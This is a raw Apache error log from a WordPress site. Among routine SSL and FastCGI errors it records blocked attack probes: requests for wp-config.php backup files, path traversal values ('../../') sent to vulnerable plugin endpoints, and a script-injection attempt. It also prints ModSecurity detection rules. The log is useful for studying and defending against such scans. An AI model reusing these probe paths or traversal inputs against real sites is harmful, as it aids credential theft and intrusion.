[Tue Nov 12 10:52:52.954814 2019] [ssl:error] [pid 10831] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Nov 12 10:52:53.009504 2019] [ssl:error] [pid 10831] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 13 12:26:36.400838 2019] [proxy_fcgi:error] [pid 32524] [client 153.122.120.48:58602] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:37.847895 2019] [proxy_fcgi:error] [pid 32454] [client 153.122.120.48:13843] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:39.163833 2019] [proxy_fcgi:error] [pid 32458] [client 153.122.120.48:7466] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:40.390899 2019] [proxy_fcgi:error] [pid 32426] [client 153.122.120.48:57563] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:41.789858 2019] [proxy_fcgi:error] [pid 31954] [client 153.122.120.48:29050] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:42.927623 2019] [proxy_fcgi:error] [pid 32524] [client 153.122.120.48:50443] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:44.011189 2019] [proxy_fcgi:error] [pid 32523] [client 153.122.120.48:29440] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:45.116310 2019] [proxy_fcgi:error] [pid 32454] [client 153.122.120.48:60625] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:46.213267 2019] [proxy_fcgi:error] [pid 32420] [client 153.122.120.48:3781] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:47.171867 2019] [proxy_fcgi:error] [pid 32458] [client 153.122.120.48:53123] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:48.578116 2019] [proxy_fcgi:error] [pid 594] [client 153.122.120.48:4840] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:49.774557 2019] [proxy_fcgi:error] [pid 32524] [client 153.122.120.48:37157] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:50.885745 2019] [proxy_fcgi:error] [pid 32420] [client 153.122.120.48:63839] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:51.973517 2019] [proxy_fcgi:error] [pid 32426] [client 153.122.120.48:48166] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:53.139645 2019] [proxy_fcgi:error] [pid 594] [client 153.122.120.48:52889] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:54.210301 2019] [proxy_fcgi:error] [pid 32524] [client 153.122.120.48:13649] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 12:26:55.306476 2019] [proxy_fcgi:error] [pid 674] [client 153.122.120.48:44767] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 13 13:14:00.182660 2019] [proxy_fcgi:error] [pid 8320] [client 157.245.230.184:63311] AH01071: Got error 'Primary script unknown\n'
[Fri Nov 15 10:24:03.525407 2019] [proxy_fcgi:error] [pid 11460] [client 188.166.181.139:46294] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/test/wp-login.php
[Sat Nov 16 10:25:56.634604 2019] [proxy_fcgi:error] [pid 21109] [client 66.249.66.222:63716] AH01071: Got error 'Primary script unknown\n'
[Sat Nov 16 14:39:52.641912 2019] [authz_core:error] [pid 12665] [client 185.220.101.57:44073] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/image-clipboard
[Sat Nov 16 23:23:34.248635 2019] [proxy_fcgi:error] [pid 27022] [client 163.172.116.48:58309] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php:9\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php on line 9\n'
[Sun Nov 17 06:30:40.658519 2019] [authz_core:error] [pid 8869] [client 79.137.79.167:54862] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/thecartpress
[Sun Nov 17 07:57:54.262305 2019] [proxy_fcgi:error] [pid 24708] [client 193.106.30.99:34994] AH01071: Got error 'Primary script unknown\n'
[Sun Nov 17 19:47:27.854636 2019] [ssl:error] [pid 29427] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Nov 17 19:47:27.856717 2019] [ssl:error] [pid 29427] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Nov 18 00:10:04.353152 2019] [proxy_fcgi:error] [pid 26827] [client 78.85.214.155:45578] AH01071: Got error 'Primary script unknown\n'
[Mon Nov 18 11:03:42.582118 2019] [proxy_fcgi:error] [pid 13139] [client 193.106.30.99:34116] AH01071: Got error 'Primary script unknown\n'
[Mon Nov 18 19:51:24.698717 2019] [proxy_fcgi:error] [pid 26789] [client 163.172.116.48:65102] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php:9\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php on line 9\n'
[Mon Nov 18 23:08:08.796460 2019] [proxy_fcgi:error] [pid 18188] [client 193.106.30.99:46322] AH01071: Got error 'Primary script unknown\n'
[Tue Nov 19 04:47:16.462829 2019] [proxy_fcgi:error] [pid 1455] [client 94.23.48.112:53412] AH01071: Got error 'Primary script unknown\n'
[Tue Nov 19 04:47:37.038781 2019] [proxy_fcgi:error] [pid 32007] [client 94.23.48.112:54554] AH01071: Got error 'Primary script unknown\n'
[Tue Nov 19 04:48:54.935563 2019] [:error] [pid 31238] [client 94.23.48.112:55941] [client 94.23.48.112] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:path"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:path. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php"] [unique_id "XdNmJte8DiLyB2AD2HG1VQAAAAA"]
[Tue Nov 19 04:49:07.429395 2019] [:error] [pid 31238] [client 94.23.48.112:55087] [client 94.23.48.112] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:pic"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:pic. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/ungallery/source_vuln.php"] [unique_id "XdNmM9e8DiLyB2AD2HG1VgAAAAA"]
[Tue Nov 19 05:45:58.566912 2019] [authz_core:error] [pid 10320] [client 111.230.25.193:45060] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-cron-sample.php
[Tue Nov 19 08:55:41.936831 2019] [proxy_fcgi:error] [pid 1905] [client 193.106.30.99:60010] AH01071: Got error 'Primary script unknown\n'
[Tue Nov 19 21:13:06.967992 2019] [proxy_fcgi:error] [pid 13461] [client 51.255.43.81:45396] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Tue Nov 19 21:13:59.383202 2019] [proxy_fcgi:error] [pid 13452] [client 51.255.43.81:48998] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Tue Nov 19 21:16:25.728067 2019] [proxy_fcgi:error] [pid 14354] [client 51.255.43.81:59653] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Tue Nov 19 21:17:04.519383 2019] [proxy_fcgi:error] [pid 14429] [client 51.255.43.81:34740] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Wed Nov 20 03:38:15.540667 2019] [proxy_fcgi:error] [pid 27359] [client 193.106.30.99:35606] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 20 04:36:39.707209 2019] [ssl:error] [pid 8376] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:39.711033 2019] [ssl:error] [pid 8376] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:39.971074 2019] [ssl:error] [pid 8355] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:39.971123 2019] [ssl:error] [pid 8355] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:40.249806 2019] [ssl:error] [pid 9523] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:40.249856 2019] [ssl:error] [pid 9523] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:40.514799 2019] [ssl:error] [pid 8364] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:40.514848 2019] [ssl:error] [pid 8364] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:40.795827 2019] [ssl:error] [pid 8370] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:40.795889 2019] [ssl:error] [pid 8370] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:41.060356 2019] [ssl:error] [pid 8315] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:41.060399 2019] [ssl:error] [pid 8315] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:41.319053 2019] [ssl:error] [pid 9624] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:41.319121 2019] [ssl:error] [pid 9624] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:41.580601 2019] [ssl:error] [pid 8376] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:41.580658 2019] [ssl:error] [pid 8376] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:41.857830 2019] [ssl:error] [pid 8355] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:41.857873 2019] [ssl:error] [pid 8355] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:42.133975 2019] [ssl:error] [pid 9523] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:42.134050 2019] [ssl:error] [pid 9523] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:42.416741 2019] [ssl:error] [pid 8969] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:42.416782 2019] [ssl:error] [pid 8969] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:42.700879 2019] [ssl:error] [pid 9624] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:42.700988 2019] [ssl:error] [pid 9624] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:42.980263 2019] [ssl:error] [pid 8376] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:42.980300 2019] [ssl:error] [pid 8376] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:43.255310 2019] [ssl:error] [pid 8355] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:43.255351 2019] [ssl:error] [pid 8355] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:43.525541 2019] [ssl:error] [pid 8267] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:43.525589 2019] [ssl:error] [pid 8267] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:43.805134 2019] [ssl:error] [pid 9508] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:43.805201 2019] [ssl:error] [pid 9508] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:44.082547 2019] [ssl:error] [pid 9523] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:44.082591 2019] [ssl:error] [pid 9523] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:44.353347 2019] [ssl:error] [pid 8969] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:44.353393 2019] [ssl:error] [pid 8969] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:44.616133 2019] [ssl:error] [pid 9624] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:44.616178 2019] [ssl:error] [pid 9624] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:44.896772 2019] [ssl:error] [pid 8370] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 04:36:44.896829 2019] [ssl:error] [pid 8370] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 20 06:37:08.712354 2019] [proxy_fcgi:error] [pid 22393] [client 193.106.30.99:57528] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 20 15:55:16.128400 2019] [proxy_fcgi:error] [pid 1779] [client 193.106.30.99:38338] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 02:06:15.885841 2019] [proxy_fcgi:error] [pid 6812] [client 111.230.25.193:33846] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 06:06:36.765545 2019] [proxy_fcgi:error] [pid 10329] [client 193.106.30.99:38524] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:12.690915 2019] [proxy_fcgi:error] [pid 8456] [client 94.247.180.91:35252] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:14.595640 2019] [proxy_fcgi:error] [pid 8443] [client 94.247.180.91:36208] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:16.755985 2019] [proxy_fcgi:error] [pid 8455] [client 94.247.180.91:37244] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:18.850664 2019] [proxy_fcgi:error] [pid 8451] [client 94.247.180.91:38532] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:21.055643 2019] [proxy_fcgi:error] [pid 8374] [client 94.247.180.91:39676] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:23.233296 2019] [proxy_fcgi:error] [pid 8443] [client 94.247.180.91:40752] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:25.316169 2019] [proxy_fcgi:error] [pid 8453] [client 94.247.180.91:41934] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:27.262047 2019] [proxy_fcgi:error] [pid 8455] [client 94.247.180.91:42902] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:29.359226 2019] [proxy_fcgi:error] [pid 8456] [client 94.247.180.91:43740] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:31.631956 2019] [proxy_fcgi:error] [pid 8453] [client 94.247.180.91:44952] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:33.802253 2019] [proxy_fcgi:error] [pid 8230] [client 94.247.180.91:46128] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:35.913245 2019] [proxy_fcgi:error] [pid 8579] [client 94.247.180.91:47120] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:37.967919 2019] [proxy_fcgi:error] [pid 8456] [client 94.247.180.91:48298] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:39.809685 2019] [proxy_fcgi:error] [pid 8452] [client 94.247.180.91:49306] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:42.061904 2019] [proxy_fcgi:error] [pid 8456] [client 94.247.180.91:50494] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:44.245532 2019] [proxy_fcgi:error] [pid 8455] [client 94.247.180.91:51538] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 21 09:38:46.327556 2019] [proxy_fcgi:error] [pid 8172] [client 94.247.180.91:52634] AH01071: Got error 'Primary script unknown\n'
[Fri Nov 22 06:48:24.573658 2019] [authz_core:error] [pid 18671] [client 183.110.224.126:39550] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php~, referer: http://fincasandoval.com/wp-config.php~
[Fri Nov 22 06:48:54.318810 2019] [authz_core:error] [pid 20562] [client 183.110.224.126:33108] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save, referer: http://fincasandoval.com/wp-config.php.save
[Fri Nov 22 06:49:09.318631 2019] [authz_core:error] [pid 18666] [client 183.110.224.126:46686] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_bak, referer: http://fincasandoval.com/wp-config.php_bak
[Fri Nov 22 06:49:24.629802 2019] [authz_core:error] [pid 20562] [client 183.110.224.126:60422] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.bak, referer: http://fincasandoval.com/wp-config.bak
[Fri Nov 22 06:49:39.321024 2019] [authz_core:error] [pid 18283] [client 183.110.224.126:40728] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.bak, referer: http://fincasandoval.com/wp-config.php.bak
[Fri Nov 22 06:50:24.360181 2019] [authz_core:error] [pid 18671] [client 183.110.224.126:48316] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.old, referer: http://fincasandoval.com/wp-config.php.old
[Fri Nov 22 06:50:39.349302 2019] [authz_core:error] [pid 19990] [client 183.110.224.126:62022] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.orig, referer: http://fincasandoval.com/wp-config.php.orig
[Fri Nov 22 06:51:09.336617 2019] [authz_core:error] [pid 18283] [client 183.110.224.126:57046] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.original, referer: http://fincasandoval.com/wp-config.php.original
[Fri Nov 22 14:35:08.630258 2019] [proxy_fcgi:error] [pid 21097] [client 134.175.183.168:34974] AH01071: Got error 'Primary script unknown\n'
[Sat Nov 23 15:26:12.434670 2019] [proxy_fcgi:error] [pid 7465] [client 193.106.30.99:37362] AH01071: Got error 'Primary script unknown\n'
[Sat Nov 23 21:41:03.551737 2019] [proxy_fcgi:error] [pid 14056] [client 49.234.7.207:52724] AH01071: Got error 'Primary script unknown\n'
[Sun Nov 24 01:02:40.180692 2019] [proxy_fcgi:error] [pid 2770] [client 193.106.30.99:55866] AH01071: Got error 'Primary script unknown\n'
[Sun Nov 24 11:26:40.078918 2019] [proxy_fcgi:error] [pid 15357] [client 193.106.30.99:59256] AH01071: Got error 'Primary script unknown\n'
[Sun Nov 24 13:16:26.129942 2019] [authz_core:error] [pid 15597] [client 103.82.235.2:52516] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/jquery-html5-file-upload, referer: http://www.google.com/
[Sun Nov 24 13:33:48.259455 2019] [:error] [pid 16574] [client 176.121.14.184:49142] [client 176.121.14.184] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-content/uploads/2014/11/fs-1.jpg"] [unique_id "Xdp4rOyQF@MTbM3e@dDCBgAAAAU"]
[Sun Nov 24 18:41:40.559134 2019] [proxy_fcgi:error] [pid 15398] [client 193.106.30.99:44320] AH01071: Got error 'Primary script unknown\n'
[Mon Nov 25 11:05:59.079967 2019] [proxy_fcgi:error] [pid 3108] [client 193.106.30.99:59478] AH01071: Got error 'Primary script unknown\n'
[Mon Nov 25 11:43:24.355702 2019] [proxy_fcgi:error] [pid 7640] [client 111.230.25.193:48960] AH01071: Got error 'Primary script unknown\n'
[Mon Nov 25 17:01:04.772098 2019] [ssl:error] [pid 20580] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Nov 25 17:01:04.773909 2019] [ssl:error] [pid 20580] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Nov 26 03:36:09.595211 2019] [authz_core:error] [pid 11742] [client 199.249.230.64:65059] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php-
[Tue Nov 26 04:12:50.975281 2019] [proxy_fcgi:error] [pid 6828] [client 193.106.30.99:39750] AH01071: Got error 'Primary script unknown\n'
[Tue Nov 26 13:46:03.712837 2019] [authz_core:error] [pid 9614] [client 193.37.252.10:51393] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/akismet/akismet.php
[Tue Nov 26 13:46:04.528072 2019] [proxy_fcgi:error] [pid 10213] [client 193.37.252.10:51469] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function add_action() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php:69\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php on line 69\n'
[Tue Nov 26 18:43:49.625978 2019] [proxy_fcgi:error] [pid 21237] [client 193.106.30.99:45224] AH01071: Got error 'Primary script unknown\n'
[Tue Nov 26 19:25:16.929902 2019] [proxy_fcgi:error] [pid 27772] [client 193.37.252.10:60209] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Tue Nov 26 19:25:16.969534 2019] [proxy_fcgi:error] [pid 27814] [client 193.37.252.10:60268] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php:10\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php on line 10\n'
[Tue Nov 26 19:25:17.062404 2019] [proxy_fcgi:error] [pid 27975] [client 193.37.252.10:60279] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php:13\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php on line 13\n'
[Wed Nov 27 01:46:51.090710 2019] [ssl:error] [pid 8993] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:51.095090 2019] [ssl:error] [pid 8993] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:51.349524 2019] [ssl:error] [pid 9999] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:51.349619 2019] [ssl:error] [pid 9999] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:51.606715 2019] [ssl:error] [pid 8989] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:51.606759 2019] [ssl:error] [pid 8989] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:51.877319 2019] [ssl:error] [pid 8971] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:51.877364 2019] [ssl:error] [pid 8971] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:52.144196 2019] [ssl:error] [pid 8955] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:52.144241 2019] [ssl:error] [pid 8955] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:52.423216 2019] [ssl:error] [pid 8957] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:52.423267 2019] [ssl:error] [pid 8957] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:52.677712 2019] [ssl:error] [pid 9509] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:52.677759 2019] [ssl:error] [pid 9509] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:52.947253 2019] [ssl:error] [pid 8993] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:52.947359 2019] [ssl:error] [pid 8993] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:53.213642 2019] [ssl:error] [pid 9999] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:53.213687 2019] [ssl:error] [pid 9999] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:53.473553 2019] [ssl:error] [pid 8989] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:53.473602 2019] [ssl:error] [pid 8989] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:53.729412 2019] [ssl:error] [pid 8971] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:53.729457 2019] [ssl:error] [pid 8971] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:54.006486 2019] [ssl:error] [pid 8962] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:54.006529 2019] [ssl:error] [pid 8962] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:54.267951 2019] [ssl:error] [pid 8955] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:54.268034 2019] [ssl:error] [pid 8955] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:54.531935 2019] [ssl:error] [pid 8957] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:54.531977 2019] [ssl:error] [pid 8957] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:54.800137 2019] [ssl:error] [pid 9509] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:54.800179 2019] [ssl:error] [pid 9509] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:55.066599 2019] [ssl:error] [pid 8993] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:55.066643 2019] [ssl:error] [pid 8993] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:55.329813 2019] [ssl:error] [pid 9999] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:55.329855 2019] [ssl:error] [pid 9999] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:55.593258 2019] [ssl:error] [pid 8989] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:55.593340 2019] [ssl:error] [pid 8989] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
